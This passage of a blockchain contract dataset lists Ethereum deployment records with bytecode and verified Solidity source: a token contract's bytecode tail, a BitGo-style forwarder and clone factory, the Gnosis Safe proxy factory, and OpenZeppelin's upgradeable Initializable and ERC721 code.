12b70565b979650505050505050565b5f8151905061310281612ad5565b92915050565b5f805f6060848603121561311f5761311e612a6e565b5b5f61312c868287016130f4565b935050602061313d868287016130f4565b925050604061314e868287016130f4565b9150509250925092565b5f60408201905061316b5f830185612c72565b6131786020830184612b70565b9392505050565b5f8151905061318d81612c9a565b92915050565b5f602082840312156131a8576131a7612a6e565b5b5f6131b58482850161317f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6132186024836129ce565b9150613223826131be565b604082019050919050565b5f6020820190508181035f8301526132458161320c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132a66022836129ce565b91506132b18261324c565b604082019050919050565b5f6020820190508181035f8301526132d38161329a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6133346025836129ce565b915061333f826132da565b604082019050919050565b5f6020820190508181035f83015261336181613328565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133c26023836129ce565b91506133cd82613368565b604082019050919050565b5f6020820190508181035f8301526133ef816133b6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134506029836129ce565b915061345b826133f6565b604082019050919050565b5f6020820190508181035f83015261347d81613444565b9050919050565b5f61348e82612acc565b915061349983612acc565b92508282019050808211156134b1576134b0612e89565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6135116023836129ce565b915061351c826134b7565b604082019050919050565b5f6020820190508181035f83015261353e81613505565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e00000000000000005f82015250565b5f6135796018836129ce565b915061358482613545565b602082019050919050565b5f6020820190508181035f8301526135a68161356d565b9050919050565b5f6135b782612acc565b91506135c283612acc565b92508282039050818111156135da576135d9612e89565b5b92915050565b5f81905092915050565b50565b5f6135f85f836135e0565b9150613603826135ea565b5f82019050919050565b5f613617826135ed565b9150819050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f61367b602a836129ce565b915061368682613621565b604082019050919050565b5f6020820190508181035f8301526136a88161366f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61373b81612a91565b82525050565b5f61374c8383613732565b60208301905092915050565b5f602082019050919050565b5f61376e82613709565b6137788185613713565b935061378383613723565b805f5b838110156137b357815161379a8882613741565b97506137a583613758565b925050600181019050613786565b5085935050505092915050565b5f60a0820190506137d35f830188612b70565b6137e06020830187613086565b81810360408301526137f28186613764565b90506138016060830185612c72565b61380e6080830184612b70565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61384f82612acc565b915061385a83612acc565b92508261386a57613869613818565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6138a9601b836129ce565b91506138b482613875565b602082019050919050565b5f6020820190508181035f8301526138d68161389d565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139376021836129ce565b9150613942826138dd565b604082019050919050565b5f6020820190508181035f8301526139648161392b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220433079ea5ee64eff50dccd0316c844633490333e7a927f7f87002f4ae7c8628964736f6c63430008180033
1	19,499,660	f260d964dd35ddb26fb8e7b0583f2bd9f5e91cbef3b86fa99daac2d7c81e13d8	72dc2f9bce7671c9f53f8b1151b0381571f36bab7321d7e194249fa514489df5	d2c82f2e5fa236e114a81173e375a73664610998	ffa397285ce46fb78c588a9e993286aac68c37cd	6636e4ba2caf82d4acdf43d9dd57c784a54bd6cc	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,661	46cbc635838a5d1b277fee645971490b4f6bad074a0fb47ac06061b5cd4fabad	8c48c42f2bc51c409cd985c502111f592a6cb4d1672952a3bb6517f358d73b78	fe6c5bb1a105459b5e22d1020de689812a45839d	a6b71e26c5e0845f74c812102ca7114b6a896ab2	c3edb92471b27abd3673658c0496b2449768e939	608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552	608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033	// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1	19,499,661	46cbc635838a5d1b277fee645971490b4f6bad074a0fb47ac06061b5cd4fabad	2a0f41511f2e738e295cd6d83dc9a866ee3334cf82bc98b99e723b8fec641ba2	c320e2d18e38199a8de5ad00bec7759a5bf222c0	612e2daddc89d91409e40f946f9f7cfe422e777e	6cc6ee12d61d63f04b8593dd04ac43f0d832f068	3d602d80600a3d3981f3363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3	{{ "language": "Solidity", "sources": { "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/*\n @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n \n The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n \n For example:\n \n [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n \n contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n \n TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n \n CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n \n [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n \n An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n \n [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n /\nabstract contract Initializable {\n /\n @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n /\n uint8 private _initialized;\n\n /\n @dev Indicates that the contract is in the process of being initialized.\n /\n bool private _initializing;\n\n /\n @dev Triggered when the contract has been initialized or reinitialized.\n /\n event Initialized(uint8 version);\n\n /\n @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n \n Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n \n Emits an {Initialized} event.\n /\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) \|\| (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /\n @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n \n A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n \n When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n \n Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n \n WARNING: setting the version to 255 will prevent any future reinitialization.\n \n Emits an {Initialized} event.\n /\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /\n @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n /\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /\n @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n \n Emits an {Initialized} event the first time it is successfully executed.\n /\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /\n @dev Returns the highest version that has been initialized. See {reinitializer}.\n /\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /\n @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n /\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/\n @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n /\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /\n @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n /\n function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /\n @dev See {IERC165-supportsInterface}.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId \|\|\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId \|\|\n super.supportsInterface(interfaceId);\n }\n\n /\n @dev See {IERC721-balanceOf}.\n /\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /\n @dev See {IERC721-ownerOf}.\n /\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /\n @dev See {IERC721Metadata-name}.\n /\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /\n @dev See {IERC721Metadata-symbol}.\n /\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /\n @dev See {IERC721Metadata-tokenURI}.\n /\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /\n @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n /\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /\n @dev See {IERC721-approve}.\n /\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /\n @dev See {IERC721-getApproved}.\n /\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /\n @dev See {IERC721-setApprovalForAll}.\n /\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /\n @dev See {IERC721-isApprovedForAll}.\n /\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /\n @dev See {IERC721-transferFrom}.\n /\n function transferFrom(address from, address to, uint256 tokenId) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /\n @dev See {IERC721-safeTransferFrom}.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /\n @dev See {IERC721-safeTransferFrom}.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n \n `data` is additional data, it has no specified format and it is sent in call to `to`.\n \n This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /\n @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n /\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /\n @dev Returns whether `tokenId` exists.\n \n Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n \n Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n /\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n /\n @dev Returns whether `spender` is allowed to manage `tokenId`.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n return (spender == owner \|\| isApprovedForAll(owner, spender) \|\| getApproved(tokenId) == spender);\n }\n\n /\n @dev Safely mints `tokenId` and transfers it to `to`.\n \n Requirements:\n \n - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /\n @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract 